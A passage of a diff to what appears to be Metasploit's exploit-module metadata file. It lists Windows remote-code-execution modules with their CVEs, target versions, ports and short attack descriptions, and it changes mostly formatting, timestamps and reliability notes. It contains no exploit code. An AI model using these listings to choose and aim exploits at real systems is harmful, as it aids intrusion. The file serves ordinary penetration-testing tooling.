consecutive wcscpy() calls in the program (which\n may be why ZDI considered them two separate issues). However, this module only\n exploits the second one.", + "description": "This module exploits a stack-based buffer overflow in the Hewlett-Packard\n OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\n packet, a remote attacker may be able to execute arbitrary code with elevated\n privileges.\n\n This service is installed with HP OpenView Data Protector, HP Application\n Recovery Manager and potentially other products. This exploit has been tested\n against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\n of Application Recovery Manager.\n\n NOTE: There are actually two consecutive wcscpy() calls in the program (which\n may be why ZDI considered them two separate issues). However, this module only\n exploits the second one.", "references": [ "CVE-2009-3844", "BID-37250", @@ -187047,12 +192130,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "HP OpenView Storage Data Protector A.05.50: INET, internal build 330", @@ -187060,7 +192139,7 @@ "HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81", "HP Application Recovery Manager software A.06.10: INET, internal build 282" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_omniinet_2.rb", "is_install_path": true, "ref_name": "windows/misc/hp_omniinet_2", @@ -187068,6 +192147,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187075,16 +192163,14 @@ "exploit_windows/misc/hp_omniinet_3": { "name": "HP OmniInet.exe Opcode 27 Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_3", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-06-29", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in the Hewlett-Packard\n OmniInet NT Service. By sending a specially crafted opcode 27 packet,\n a remote attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in the Hewlett-Packard\n OmniInet NT Service. By sending a specially crafted opcode 27 packet,\n a remote attacker may be able to execute arbitrary code.", "references": [ "CVE-2011-1865", "OSVDB-73571", @@ -187093,16 +192179,12 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector A.06.10 Build 611 / A.06.11 Build 243" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_omniinet_3.rb", "is_install_path": true, "ref_name": "windows/misc/hp_omniinet_3", @@ -187110,6 +192192,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187117,9 +192208,7 @@ "exploit_windows/misc/hp_omniinet_4": { "name": "HP OmniInet.exe Opcode 20 Buffer Overflow", "fullname": "exploit/windows/misc/hp_omniinet_4", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-06-29", "type": "exploit", @@ -187130,7 +192219,7 @@ "sinn3r ", "corelanc0d3r " ], - "description": "This module exploits a vulnerability found in HP Data Protector's OmniInet\n process. By supplying a long string of data as the file path with opcode '20',\n a buffer overflow can occur when this data is being written on the stack where\n no proper bounds checking is done beforehand, which results arbitrary code\n execution under the context of SYSTEM. This module is also made against systems\n such as Windows Server 2003 or Windows Server 2008 that have DEP and/or ASLR\n enabled by default.", + "description": "This module exploits a vulnerability found in HP Data Protector's OmniInet\n process. By supplying a long string of data as the file path with opcode '20',\n a buffer overflow can occur when this data is being written on the stack where\n no proper bounds checking is done beforehand, which results arbitrary code\n execution under the context of SYSTEM. This module is also made against systems\n such as Windows Server 2003 or Windows Server 2008 that have DEP and/or ASLR\n enabled by default.", "references": [ "CVE-2011-1865", "OSVDB-73571", @@ -187141,16 +192230,12 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector A.06.10 b611 / A.06.11 b243 XP SP3/Win2003/Win2008" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_omniinet_4.rb", "is_install_path": true, "ref_name": "windows/misc/hp_omniinet_4", @@ -187158,6 +192243,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187165,9 +192259,7 @@ "exploit_windows/misc/hp_operations_agent_coda_34": { "name": "HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow", "fullname": "exploit/windows/misc/hp_operations_agent_coda_34", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-09", "type": "exploit", @@ -187185,34 +192277,27 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Operations Agent 11.00 / Windows XP SP3", "HP Operations Agent 11.00 / Windows 2003 SP2" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb", "is_install_path": true, "ref_name": "windows/misc/hp_operations_agent_coda_34", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_operations_agent_coda_8c": { "name": "HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow", "fullname": "exploit/windows/misc/hp_operations_agent_coda_8c", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-09", "type": "exploit", @@ -187230,41 +192315,34 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Operations Agent 11.00 / Windows XP SP3", "HP Operations Agent 11.00 / Windows 2003 SP2" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb", "is_install_path": true, "ref_name": "windows/misc/hp_operations_agent_coda_8c", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_ovtrace": { "name": "HP OpenView Operations OVTrace Buffer Overflow", "fullname": "exploit/windows/misc/hp_ovtrace", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-08-09", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Operations version A.07.50.\n By sending a specially crafted packet, a remote attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in HP OpenView Operations version A.07.50.\n By sending a specially crafted packet, a remote attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-3872", "OSVDB-39527", @@ -187273,16 +192351,12 @@ "platform": "Windows", "arch": "", "rport": 5051, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Advanced Server All English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/hp_ovtrace.rb", "is_install_path": true, "ref_name": "windows/misc/hp_ovtrace", @@ -187290,6 +192364,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187297,33 +192380,27 @@ "exploit_windows/misc/hta_server": { "name": "HTA Web Server", "fullname": "exploit/windows/misc/hta_server", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-10-06", "type": "exploit", "author": [ "Spencer McIntyre" ], - "description": "This module hosts an HTML Application (HTA) that when opened will run a\n payload via Powershell. When a user navigates to the HTA file they will\n be prompted by IE twice before the payload is executed.", + "description": "This module hosts an HTML Application (HTA) that when opened will run a\n payload via Powershell. When a user navigates to the HTA file they will\n be prompted by IE twice before the payload is executed.", "references": [ "URL-https://www.trustedsec.com/july-2015/malicious-htas/" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Powershell x86", "Powershell x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/misc/hta_server.rb", "is_install_path": true, "ref_name": "windows/misc/hta_server", @@ -187336,6 +192413,9 @@ ], "Stability": [ "crash-safe" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": false, @@ -187344,9 +192424,7 @@ "exploit_windows/misc/ib_isc_attach_database": { "name": "Borland InterBase isc_attach_database() Buffer Overflow", "fullname": "exploit/windows/misc/ib_isc_attach_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -187354,7 +192432,7 @@ "Ramon de C Valle ", "Adriano Lima " ], - "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted attach request.", + "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted attach request.", "references": [ "CVE-2007-5243", "OSVDB-38607", @@ -187364,12 +192442,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Borland InterBase WI-V8.1.0.257", @@ -187383,7 +192457,7 @@ "Borland InterBase WI-V5.1.1.680", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ib_isc_attach_database.rb", "is_install_path": true, "ref_name": "windows/misc/ib_isc_attach_database", @@ -187391,6 +192465,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187398,9 +192481,7 @@ "exploit_windows/misc/ib_isc_create_database": { "name": "Borland InterBase isc_create_database() Buffer Overflow", "fullname": "exploit/windows/misc/ib_isc_create_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -187408,7 +192489,7 @@ "Ramon de C Valle ", "Adriano Lima " ], - "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted create request.", + "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted create request.", "references": [ "CVE-2007-5243", "OSVDB-38606", @@ -187418,12 +192499,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Borland InterBase WI-V8.1.0.257", @@ -187437,7 +192514,7 @@ "Borland InterBase WI-V5.1.1.680", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ib_isc_create_database.rb", "is_install_path": true, "ref_name": "windows/misc/ib_isc_create_database", @@ -187445,6 +192522,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187452,9 +192538,7 @@ "exploit_windows/misc/ib_svc_attach": { "name": "Borland InterBase SVC_attach() Buffer Overflow", "fullname": "exploit/windows/misc/ib_svc_attach", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -187462,7 +192546,7 @@ "Ramon de C Valle ", "Adriano Lima " ], - "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted service attach request.", + "description": "This module exploits a stack buffer overflow in Borland InterBase\n by sending a specially crafted service attach request.", "references": [ "CVE-2007-5243", "OSVDB-38605", @@ -187472,12 +192556,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Borland InterBase WI-V8.1.0.257", @@ -187491,7 +192571,7 @@ "Borland InterBase WI-V5.1.1.680", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ib_svc_attach.rb", "is_install_path": true, "ref_name": "windows/misc/ib_svc_attach", @@ -187499,6 +192579,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187506,9 +192595,7 @@ "exploit_windows/misc/ibm_cognos_tm1admsd_bof": { "name": "IBM Cognos tm1admsd.exe Overflow", "fullname": "exploit/windows/misc/ibm_cognos_tm1admsd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-02", "type": "exploit", @@ -187516,7 +192603,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in IBM Cognos Analytic Server\n Admin service. The vulnerability exists in the tm1admsd.exe component, due to a\n dangerous copy of user controlled data to the stack, via memcpy, without validating\n the supplied length and data. The module has been tested successfully on IBM Cognos\n Express 9.5 over Windows XP SP3.", + "description": "This module exploits a stack buffer overflow in IBM Cognos Analytic Server\n Admin service. The vulnerability exists in the tm1admsd.exe component, due to a\n dangerous copy of user controlled data to the stack, via memcpy, without validating\n the supplied length and data. The module has been tested successfully on IBM Cognos\n Express 9.5 over Windows XP SP3.", "references": [ "CVE-2012-0202", "OSVDB-80876", @@ -187527,16 +192614,12 @@ "platform": "Windows", "arch": "", "rport": 5498, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Cognos Express 9.5 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb", "is_install_path": true, "ref_name": "windows/misc/ibm_cognos_tm1admsd_bof", @@ -187544,6 +192627,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187551,9 +192643,7 @@ "exploit_windows/misc/ibm_director_cim_dllinject": { "name": "IBM System Director Agent DLL Injection", "fullname": "exploit/windows/misc/ibm_director_cim_dllinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-03-10", "type": "exploit", @@ -187592,31 +192682,28 @@ "targets": [ "IBM System Director Agent 5.20.3 / Windows with WebClient enabled" ], - "mod_time": "2018-09-15 18:54:45 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb", "is_install_path": true, "ref_name": "windows/misc/ibm_director_cim_dllinject", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/ibm_tsm_cad_ping": { "name": "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow", "fullname": "exploit/windows/misc/ibm_tsm_cad_ping", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service.\n By sending a \"ping\" packet containing a long string, an attacker can execute arbitrary code.\n\n NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order\n for the vulnerable code to be reached. This state doesn't appear to be reachable when the\n TSM server is not running. This service does not restart.", + "description": "This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service.\n By sending a \"ping\" packet containing a long string, an attacker can execute arbitrary code.\n\n NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order\n for the vulnerable code to be reached. This state doesn't appear to be reachable when the\n TSM server is not running. This service does not restart.", "references": [ "CVE-2009-3853", "OSVDB-59632" @@ -187624,16 +192711,12 @@ "platform": "Windows", "arch": "", "rport": 1582, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Tivoli Storage Manager Express 5.3.6.2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb", "is_install_path": true, "ref_name": "windows/misc/ibm_tsm_cad_ping", @@ -187641,6 +192724,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187648,16 +192740,14 @@ "exploit_windows/misc/ibm_tsm_rca_dicugetidentify": { "name": "IBM Tivoli Storage Manager Express RCA Service Buffer Overflow", "fullname": "exploit/windows/misc/ibm_tsm_rca_dicugetidentify", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote\n Client Agent service. By sending a \"dicuGetIdentify\" request packet containing a long\n NodeName parameter, an attacker can execute arbitrary code.\n\n NOTE: this exploit first connects to the CAD service to start the RCA service and obtain\n the port number on which it runs. This service does not restart.", + "description": "This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote\n Client Agent service. By sending a \"dicuGetIdentify\" request packet containing a long\n NodeName parameter, an attacker can execute arbitrary code.\n\n NOTE: this exploit first connects to the CAD service to start the RCA service and obtain\n the port number on which it runs. This service does not restart.", "references": [ "CVE-2008-4828", "OSVDB-54232", @@ -187666,16 +192756,12 @@ "platform": "Windows", "arch": "", "rport": 1582, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Tivoli Storage Manager Express 5.3.6.2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb", "is_install_path": true, "ref_name": "windows/misc/ibm_tsm_rca_dicugetidentify", @@ -187683,6 +192769,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187690,16 +192785,14 @@ "exploit_windows/misc/ibm_websphere_java_deserialize": { "name": "IBM WebSphere RCE Java Deserialization Vulnerability", "fullname": "exploit/windows/misc/ibm_websphere_java_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-06", "type": "exploit", "author": [ "Liatsis Fotios " ], - "description": "This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization\n call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows\n remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.", + "description": "This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization\n call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows\n remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.", "references": [ "CVE-2015-7450", "URL-https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java", @@ -187727,7 +192820,7 @@ "targets": [ "IBM WebSphere 7.0.0.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb", "is_install_path": true, "ref_name": "windows/misc/ibm_websphere_java_deserialize", @@ -187735,6 +192828,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187742,9 +192844,7 @@ "exploit_windows/misc/itunes_extm3u_bof": { "name": "Apple iTunes 10 Extended M3U Stack Buffer Overflow", "fullname": "exploit/windows/misc/itunes_extm3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-21", "type": "exploit", @@ -187752,7 +192852,7 @@ "Rh0 ", "sinn3r " ], - "description": "This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7.\n When opening an extended .m3u file containing an \"#EXTINF:\" tag description,\n iTunes will copy the content after \"#EXTINF:\" without appropriate checking\n from a heap buffer to a stack buffer, writing beyond the stack buffer's boundary,\n which allows code execution under the context of the user.\n\n Please note before using this exploit, you must have precise knowledge of the\n victim machine's QuickTime version (if installed), and then select your target\n accordingly.\n\n In addition, even though this exploit can be used as remote, you should be aware\n the victim's browser behavior when opening an itms link. For example,\n IE/Firefox/Opera by default will ask the user for permission before launching the\n itms link by iTunes. Chrome will ask for permission, but also spits a warning.\n Safari would be an ideal target, because it will open the link without any\n user interaction.", + "description": "This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7.\n When opening an extended .m3u file containing an \"#EXTINF:\" tag description,\n iTunes will copy the content after \"#EXTINF:\" without appropriate checking\n from a heap buffer to a stack buffer, writing beyond the stack buffer's boundary,\n which allows code execution under the context of the user.\n\n Please note before using this exploit, you must have precise knowledge of the\n victim machine's QuickTime version (if installed), and then select your target\n accordingly.\n\n In addition, even though this exploit can be used as remote, you should be aware\n the victim's browser behavior when opening an itms link. For example,\n IE/Firefox/Opera by default will ask the user for permission before launching the\n itms link by iTunes. Chrome will ask for permission, but also spits a warning.\n Safari would be an ideal target, because it will open the link without any\n user interaction.", "references": [ "OSVDB-83220", "EDB-19322", @@ -187761,19 +192861,15 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3", "iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3", "iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.71 on XP SP3", "iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.72 on XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/itunes_extm3u_bof.rb", "is_install_path": true, "ref_name": "windows/misc/itunes_extm3u_bof", @@ -187781,6 +192877,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187788,9 +192893,7 @@ "exploit_windows/misc/ivanti_agent_portal_cmdexec": { "name": "Ivanti EPM Agent Portal Command Execution", "fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-07", "type": "exploit", @@ -187808,12 +192911,8 @@ "platform": "Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -187828,9 +192927,7 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "repeatable-session" ] @@ -187841,9 +192938,7 @@ "exploit_windows/misc/ivanti_avalanche_mdm_bof": { "name": "Ivanti Avalanche MDM Buffer Overflow", "fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-14", "type": "exploit", @@ -187860,12 +192955,8 @@ "platform": "Windows", "arch": "x86", "rport": 1777, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ivanti Avalanche <= v6.4.0.0" ], @@ -187883,9 +192974,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -187893,16 +192982,14 @@ "exploit_windows/misc/landesk_aolnsrvr": { "name": "LANDesk Management Suite 8.7 Alert Service Buffer Overflow", "fullname": "exploit/windows/misc/landesk_aolnsrvr", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-04-13", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending\n an overly long string to the Alert Service, a buffer is overwritten and arbitrary\n code can be executed.", + "description": "This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending\n an overly long string to the Alert Service, a buffer is overwritten and arbitrary\n code can be executed.", "references": [ "CVE-2007-1674", "OSVDB-34964", @@ -187911,18 +192998,14 @@ "platform": "Windows", "arch": "", "rport": 65535, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Alerting Proxy 2000/2003/XP", "Alerting Proxy 2003 SP1-2 (NX support)", "Alerting Proxy XP SP2 (NX support)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/landesk_aolnsrvr.rb", "is_install_path": true, "ref_name": "windows/misc/landesk_aolnsrvr", @@ -187930,6 +193013,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -187937,16 +193029,14 @@ "exploit_windows/misc/lianja_db_net": { "name": "Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow", "fullname": "exploit/windows/misc/lianja_db_net", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-22", "type": "exploit", "author": [ "Spencer McIntyre" ], - "description": "This module exploits a stack buffer overflow in the db_netserver process, which\n is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.", + "description": "This module exploits a stack buffer overflow in the db_netserver process, which\n is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.", "references": [ "CVE-2013-3563", "OSVDB-93759" @@ -187954,17 +193044,13 @@ "platform": "Windows", "arch": "x86", "rport": 8001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2", "Lianja SQL 1.0.0RC5.1 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/misc/lianja_db_net.rb", "is_install_path": true, "ref_name": "windows/misc/lianja_db_net", @@ -187974,6 +193060,12 @@ "notes": { "Stability": [ "crash-service-restarts" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -187982,16 +193074,14 @@ "exploit_windows/misc/manageengine_eventlog_analyzer_rce": { "name": "ManageEngine EventLog Analyzer Remote Code Execution", "fullname": "exploit/windows/misc/manageengine_eventlog_analyzer_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-07-11", "type": "exploit", "author": [ "xistence " ], - "description": "This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6\n build 10060 and previous versions. Every authenticated user, including the default \"guest\"\n account can execute SQL queries directly on the underlying Postgres database server. The\n queries are executed as the \"postgres\" user which has full privileges and thus is able to\n write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM\n privileges on the web server. This module has been tested successfully on ManageEngine\n EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.", + "description": "This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6\n build 10060 and previous versions. Every authenticated user, including the default \"guest\"\n account can execute SQL queries directly on the underlying Postgres database server. The\n queries are executed as the \"postgres\" user which has full privileges and thus is able to\n write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM\n privileges on the web server. This module has been tested successfully on ManageEngine\n EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.", "references": [ "EDB-38173", "CVE-2015-7387", @@ -188018,7 +193108,7 @@ "targets": [ "ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb", "is_install_path": true, "ref_name": "windows/misc/manageengine_eventlog_analyzer_rce", @@ -188026,6 +193116,15 @@ 